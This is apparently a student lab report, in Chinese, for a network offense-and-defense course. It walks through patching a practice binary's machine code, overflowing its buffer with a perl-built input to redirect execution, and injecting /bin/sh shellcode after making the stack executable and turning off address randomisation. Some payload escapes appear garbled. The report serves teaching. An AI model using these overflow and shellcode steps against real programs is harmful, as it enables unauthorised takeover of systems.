2018-2019-2 20165331《网络对抗技术》Exp1 PC平台逆向破解

2018-2019-2 20165331《网络对抗技术》Exp1 PC平台逆向破解

实验收获与感想

通过本次实验,我对缓冲区溢出攻击的方法有了一定的了解,同时也学会了通过怎样的操作可以获得主机权限。但是由于基本功不太扎实,导致实验中有很多地方都需要从各方查询资料获得,也从同学那里得到了很多帮助,在此感谢那些给予了我帮助的同学们。

什么是漏洞?漏洞有什么危害?

我认为漏洞就是系统或设备由于在设计上上的不足或是技术上的局限性而导致的其容易被攻击的部分。漏洞会危害用户设备的安全,比如被窃取信息、文件或程序被恶意篡改等等。

NOP, JNE, JE, JMP, CMP汇编指令的机器码

NOP:NOP指令即“空指令”,在x86的CPU中机器码为0x90。
JNE:条件转移指令,如果不相等则跳转,机器码75。
JE:条件转移指令,如果相等则跳转,机器码74。
JMP:无条件转移指令。分为段内直接短转移Jmp short(EB);段内直接近转移Jmp near(E9);段内间接转移Jmp word(FF);段间直接(远)转移Jmp far(EA)等。
CMP机器码:38(CMP reg8/mem8,reg8)39(CMP reg16/mem16,reg16)3A(CMP reg8,reg8/mem8)3B(CMP reg16,reg16/mem16)3C(CMP al,immed8)3D(CMP ax,immed16)。比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。

其他题目

反汇编指令:odjdump -d xxx
(vim中)16进制转化指令::"%!xxd,复原指令为:%!xxd -r

实验流程

一 直接修改程序机器指令,改变程序执行流程

①将实验所需可执行文件pwn1导入kali中

1

②此时的pwn1由于权限问题无法被执行,所以采用chmod 777 pwn1指令修改其权限

③使用ls指令查看,可看到pwn1显示状态发生变化,转为可执行状态

2

④为了方便之后对修改前后结果进行比较,我对pwn1文件进行了复制并命名为pwn1-cp。

⑤使用指令objdump -d pwn1-cp对源文件进行反汇编,找到其中main函数部分call foo的那行

4

⑥使用vim打开pwn1-cp源文件,发现全是乱码,可使用:%!xxd指令将其转化为可读的十六进制机器码形式

⑦通过/d找到对应位置后,将d7修改为e3,最后通过指令:%!xxd -r改回去之后保存退出,再次反汇编之后可以看到对应位置已经改变

5

⑧分别运行两个文件,可以明显看出不同

6
3

二 通过构造输入参数,造成BOF攻击,改变程序执行流

①在gdb中使用file pwn1打开文件,通过r执行到调用foo函数时需要我们输入一个参数

②输入一个36位的字符串后得到如下图结果

7

③从图中可以看出该返回地址已被覆盖导致系统无法识别。至此可以看出,如果把字符串对应位置改为特殊的字符,则就可以通过这种攻击对程序进行影响

④为了成功键入覆盖用的地址,我使用了perl语句,用管道的方式把上一个命令的结果作为下一个的输入:perl -e ' print "qwerasdfzxcvtyghbnuiojklmp258794x7dx84x04x08x0a" ' > input(cat input; cat) | ./pwn1,程序运行结果如下

8

三 Shellcode注入攻击

①使用sudo apt-get install execstack指令安装execstack

②使用execstack -s pwn1指令和execstack -p pwn1指令分别用于设置堆栈可执行和检测文件堆栈是否可执行,当出现“X pwn1”时证明目标文件堆栈可执行

9

③使用指令echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化

**④使用perl语句输入```perl -e 'print "A" x 32;print

"x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode```**

⑤通过管道方式将上述语句传给foo函数

10

⑥打开另一个终端,使用指令ps -ef | grep pwn1找到pwn1的进程号。

11

⑦在gdb中使用attach+进程号的命令形式调试该程序,使用disassemble foo命令查看foo函数部分的反汇编代码,找到ret处后在该地址处设置断点

⑧在之前的终端中运行程序,这样程序就会在断点处停止,再切换到gdb界面continue

12

⑨使用命令info r esp查看esp寄存器的地址

13

⑩通过得到的esp寄存器地址求得shellcode代码的地址,即esp寄存器地址加上四个字节,再将原perl语句前四个字符改为小端排列的shellcode代码地址并执行程序

14

原文地址:https://www.cnblogs.com/violence/p/10543050.html